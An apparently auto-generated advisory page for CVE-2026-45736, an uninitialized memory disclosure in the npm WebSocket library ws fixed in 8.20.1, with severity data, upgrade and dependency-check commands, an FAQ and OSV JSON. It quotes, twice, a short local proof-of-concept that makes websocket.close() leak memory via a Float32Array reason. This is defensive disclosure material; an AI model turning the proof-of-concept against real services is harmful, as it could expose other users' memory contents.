CVE-2026-45736: Ws Uninitialized Memory Disclosure Vulnerability

MODERATE
Advisory Identifier: GHSA-58qx-3vcg-4xpx
CVSS 4.4
CWE-908
Published
Advisory Summary

CVE-2026-45736 is a MODERATE (CVSS 4.4) uninitialized memory disclosure vulnerability (CWE-908: Use of Uninitialized Resource) affecting Ws libraries in the npm ecosystem. The issue involves uninitialized memory disclosure. Remediation is available by upgrading affected packages to version 8.20.1.

CVE-2026-45736 at a Glance

CVE Identifier CVE-2026-45736
GHSA Identifier GHSA-58qx-3vcg-4xpx
Severity MODERATE
CVSS v3.1 Base Score 4.4
CWE Classification CWE-908: Use of Uninitialized Resource
Affected Product Ws
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 4.4

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required High (PR:H)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-45736

To remediate this vulnerability, upgrade all affected Ws dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

ws fixed: 8.20.1
npm install ws@8.20.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls ws

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-45736, inspect your project dependencies using npm:

npm ls ws

Analyze the terminal output to locate any version of Ws in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 8.20.1), your application is affected.

Note: The npm ls ws command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-908: Use of Uninitialized Resource, where the product uses or accesses a resource that has not been initialized. In Ws, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Impact The `websocket.close()` implementation is vulnerable to uninitialized memory disclosure when a `TypedArray` is passed as the reason argument. ### Proof of concept ```js import { deepStrictEqual } from 'node:assert'; import { WebSocket, WebSocketServer } from 'ws'; const wss = new WebSocketServer( { port: 0, skipUTF8Validation: true }, function () { const { port } = wss.address(); const ws = new WebSocket(`ws://localhost:${port}`, { skipUTF8Validation: true }); ws.on('close', function (code, reason) { deepStrictEqual(reason, Buffer.alloc(80)); }); } ); wss.on('connection', function (ws) { ws.close(1000, new Float32Array(20)); }); ``` ### Patches The vulnerability was fixed in ws@8.20.1 (https://github.com/websockets/ws/commit/c0327ec15a54d701eb6ccefaa8bef328cfc03086). ### Credits Credit for the private and responsible disclosure of this issue goes to [Nikita Skovoroda](https://github.com/ChALkeR). ### Remarks Although the calculated CVSS severity is medium, the actual severity is believed to be low, as the flaw is only exploitable through misuse that is unlikely in practice. ### Resources - https://github.com/advisories/GHSA-58qx-3vcg-4xpx - https://www.cve.org/CVERecord?id=CVE-2026-45736

CVE-2026-45736 Affected Ws Versions

1 component(s)
Fixed Versions:
8.20.1
Product / Package Ecosystem Affected Versions Fixed Version
ws
npm
≥ 8.0.0
< 8.20.1
8.20.1

References

Frequently Asked Questions

What is CVE-2026-45736?
CVE-2026-45736 is a security vulnerability in Ws involving Uninitialized memory disclosure under CWE-908: Use of Uninitialized Resource.
Which Ws versions are affected?
Affected versions include releases prior to 8.20.1 across affected packages: ws.
What version fixes CVE-2026-45736?
Upgrading to 8.20.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is ws affected?
Yes, ws is affected in releases prior to 8.20.1. Upgrade your dependency to 8.20.1 or later.
What is the CVSS score of CVE-2026-45736?
CVE-2026-45736 has a CVSS v3.1 base score of 4.4 (MODERATE) with vector string CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N.
What CWE is associated with CVE-2026-45736?
CVE-2026-45736 is classified under CWE-908: Use of Uninitialized Resource (The product uses or accesses a resource that has not been initialized.).
How can I check npm dependencies for CVE-2026-45736?
Run the dependency tree command: 'npm ls ws'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-58qx-3vcg-4xpx",
  "modified" : "2026-05-18T19:02:40Z",
  "published" : "2026-05-18T19:02:40Z",
  "aliases" : [ "CVE-2026-45736" ],
  "summary" : "ws: Uninitialized memory disclosure",
  "details" : "### Impact\n\nThe `websocket.close()` implementation is vulnerable to uninitialized memory disclosure when a `TypedArray` is passed as the reason argument.\n\n### Proof of concept\n\n```js\nimport { deepStrictEqual } from 'node:assert';\nimport { WebSocket, WebSocketServer } from 'ws';\n\nconst wss = new WebSocketServer(\n  { port: 0, skipUTF8Validation: true },\n  function () {\n    const { port } = wss.address();\n    const ws = new WebSocket(`ws://localhost:${port}`, {\n      skipUTF8Validation: true\n    });\n\n    ws.on('close', function (code, reason) {\n      deepStrictEqual(reason, Buffer.alloc(80));\n    });\n  }\n);\n\nwss.on('connection', function (ws) {\n  ws.close(1000, new Float32Array(20));\n});\n```\n\n### Patches\n\nThe vulnerability was fixed in ws@8.20.1 (https://github.com/websockets/ws/commit/c0327ec15a54d701eb6ccefaa8bef328cfc03086).\n\n### Credits\n\nCredit for the private and responsible disclosure of this issue goes to [Nikita Skovoroda](https://github.com/ChALkeR).\n\n### Remarks\n\nAlthough the calculated CVSS severity is medium, the actual severity is believed to be low, as the flaw is only exploitable through misuse that is unlikely in practice.\n\n### Resources\n\n- https://github.com/advisories/GHSA-58qx-3vcg-4xpx\n- https://www.cve.org/CVERecord?id=CVE-2026-45736",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "ws"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "8.0.0"
      }, {
        "fixed" : "8.20.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/websockets/ws/security/advisories/GHSA-58qx-3vcg-4xpx"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-45736"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/websockets/ws/commit/c0327ec15a54d701eb6ccefaa8bef328cfc03086"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/websockets/ws"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-908" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-18T19:02:40Z",
    "nvd_published_at" : "2026-05-15T15:16:54Z"
  }
}